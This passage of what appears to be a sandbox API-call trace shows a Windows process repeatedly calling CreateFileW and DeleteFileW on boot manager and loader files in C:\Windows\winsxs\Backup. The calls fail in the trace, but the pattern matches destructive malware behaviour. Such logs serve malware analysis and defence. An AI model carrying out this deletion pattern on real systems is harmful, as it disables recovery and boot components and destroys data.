(lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_dc691d086f51f2b5_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-br_dc691d086f51f2b5_bootmgr.efi.mui_be5d0075")) returned 0 [0066.161] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_dd4aec746ec16291.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_dd4aec746ec16291.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.161] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_dd4aec746ec16291.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_dd4aec746ec16291.manifest")) returned 0 [0066.161] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_dd4aec746ec16291_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_dd4aec746ec16291_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.161] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_dd4aec746ec16291_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_dd4aec746ec16291_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.162] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_dd4aec746ec16291_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_dd4aec746ec16291_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.162] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_dd4aec746ec16291_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_pt-pt_dd4aec746ec16291_bootmgr.efi.mui_be5d0075")) returned 0 [0066.162] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_23edfe3853a2f0bd.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_23edfe3853a2f0bd.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.162] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_23edfe3853a2f0bd.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_23edfe3853a2f0bd.manifest")) returned 0 [0066.163] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_23edfe3853a2f0bd_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_23edfe3853a2f0bd_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.163] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_23edfe3853a2f0bd_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_23edfe3853a2f0bd_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.163] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_23edfe3853a2f0bd_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_23edfe3853a2f0bd_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.163] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_23edfe3853a2f0bd_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_ru-ru_23edfe3853a2f0bd_bootmgr.efi.mui_be5d0075")) returned 0 [0066.163] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_bfe8e8ad4acbfb18.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_bfe8e8ad4acbfb18.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.164] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_bfe8e8ad4acbfb18.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_bfe8e8ad4acbfb18.manifest")) returned 0 [0066.164] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_bfe8e8ad4acbfb18_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_bfe8e8ad4acbfb18_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.164] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_bfe8e8ad4acbfb18_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_bfe8e8ad4acbfb18_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.170] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_bfe8e8ad4acbfb18_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_bfe8e8ad4acbfb18_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.170] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_bfe8e8ad4acbfb18_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_sv-se_bfe8e8ad4acbfb18_bootmgr.efi.mui_be5d0075")) returned 0 [0066.170] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_68f632f43987fd09.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_68f632f43987fd09.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.171] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_68f632f43987fd09.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_68f632f43987fd09.manifest")) returned 0 [0066.171] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_68f632f43987fd09_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_68f632f43987fd09_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.171] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_68f632f43987fd09_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_68f632f43987fd09_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.171] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_68f632f43987fd09_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_68f632f43987fd09_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.171] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_68f632f43987fd09_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_tr-tr_68f632f43987fd09_bootmgr.efi.mui_be5d0075")) returned 0 [0066.172] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_3a5350f1e9bfcf28.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_3a5350f1e9bfcf28.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.172] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_3a5350f1e9bfcf28.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_3a5350f1e9bfcf28.manifest")) returned 0 [0066.172] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_3a5350f1e9bfcf28_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_3a5350f1e9bfcf28_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.172] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_3a5350f1e9bfcf28_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_3a5350f1e9bfcf28_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.173] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_3a5350f1e9bfcf28_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_3a5350f1e9bfcf28_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.173] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_3a5350f1e9bfcf28_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-cn_3a5350f1e9bfcf28_bootmgr.efi.mui_be5d0075")) returned 0 [0066.173] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_38fe497fea9b41b8.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_38fe497fea9b41b8.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.173] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_38fe497fea9b41b8.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_38fe497fea9b41b8.manifest")) returned 0 [0066.174] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_38fe497fea9b41b8_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_38fe497fea9b41b8_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.174] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_38fe497fea9b41b8_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_38fe497fea9b41b8_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.174] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_38fe497fea9b41b8_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_38fe497fea9b41b8_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.174] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_38fe497fea9b41b8_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-hk_38fe497fea9b41b8_bootmgr.efi.mui_be5d0075")) returned 0 [0066.174] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_3e4f8e47e730ab98.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_3e4f8e47e730ab98.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.175] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_3e4f8e47e730ab98.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_3e4f8e47e730ab98.manifest")) returned 0 [0066.175] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_3e4f8e47e730ab98_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_3e4f8e47e730ab98_bootmgfw.efi.mui_a6e78cfa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.175] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_3e4f8e47e730ab98_bootmgfw.efi.mui_a6e78cfa" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_3e4f8e47e730ab98_bootmgfw.efi.mui_a6e78cfa")) returned 0 [0066.179] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_3e4f8e47e730ab98_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_3e4f8e47e730ab98_bootmgr.efi.mui_be5d0075"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.179] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_3e4f8e47e730ab98_bootmgr.efi.mui_be5d0075" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_zh-tw_3e4f8e47e730ab98_bootmgr.efi.mui_be5d0075")) returned 0 [0066.180] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nt-core-bootmanager_31bf3856ad364e35_6.1.7600.16385_none_47c7bd6588bcb9f8.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nt-core-bootmanager_31bf3856ad364e35_6.1.7600.16385_none_47c7bd6588bcb9f8.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.180] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..nt-core-bootmanager_31bf3856ad364e35_6.1.7600.16385_none_47c7bd6588bcb9f8.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..nt-core-bootmanager_31bf3856ad364e35_6.1.7600.16385_none_47c7bd6588bcb9f8.manifest")) returned 0 [0066.180] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..ore-bootmanager-efi_31bf3856ad364e35_6.1.7601.17514_none_e5a6ee46b2ff6559.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..ore-bootmanager-efi_31bf3856ad364e35_6.1.7601.17514_none_e5a6ee46b2ff6559.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.180] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..ore-bootmanager-efi_31bf3856ad364e35_6.1.7601.17514_none_e5a6ee46b2ff6559.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..ore-bootmanager-efi_31bf3856ad364e35_6.1.7601.17514_none_e5a6ee46b2ff6559.manifest")) returned 0 [0066.181] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..ore-bootmanager-efi_31bf3856ad364e35_6.1.7601.17514_none_e5a6ee46b2ff6559_bootmgfw.efi_139dd311" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..ore-bootmanager-efi_31bf3856ad364e35_6.1.7601.17514_none_e5a6ee46b2ff6559_bootmgfw.efi_139dd311"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.181] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..ore-bootmanager-efi_31bf3856ad364e35_6.1.7601.17514_none_e5a6ee46b2ff6559_bootmgfw.efi_139dd311" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..ore-bootmanager-efi_31bf3856ad364e35_6.1.7601.17514_none_e5a6ee46b2ff6559_bootmgfw.efi_139dd311")) returned 0 [0066.181] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..ore-bootmanager-efi_31bf3856ad364e35_6.1.7601.17514_none_e5a6ee46b2ff6559_bootmgr.efi_da0f14a8" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..ore-bootmanager-efi_31bf3856ad364e35_6.1.7601.17514_none_e5a6ee46b2ff6559_bootmgr.efi_da0f14a8"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.181] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..ore-bootmanager-efi_31bf3856ad364e35_6.1.7601.17514_none_e5a6ee46b2ff6559_bootmgr.efi_da0f14a8" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..ore-bootmanager-efi_31bf3856ad364e35_6.1.7601.17514_none_e5a6ee46b2ff6559_bootmgr.efi_da0f14a8")) returned 0 [0066.181] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.182] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71.manifest")) returned 0 [0066.182] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winload.efi.mui_35ee487d" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winload.efi.mui_35ee487d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.182] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winload.efi.mui_35ee487d" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-b..os-loader.resources_31bf3856ad364e35_6.1.7601.18741_en-us_d49b3bd6fabe7c71_winload.efi.mui_35ee487d")) returned 0 [0066.182] CreateFileW 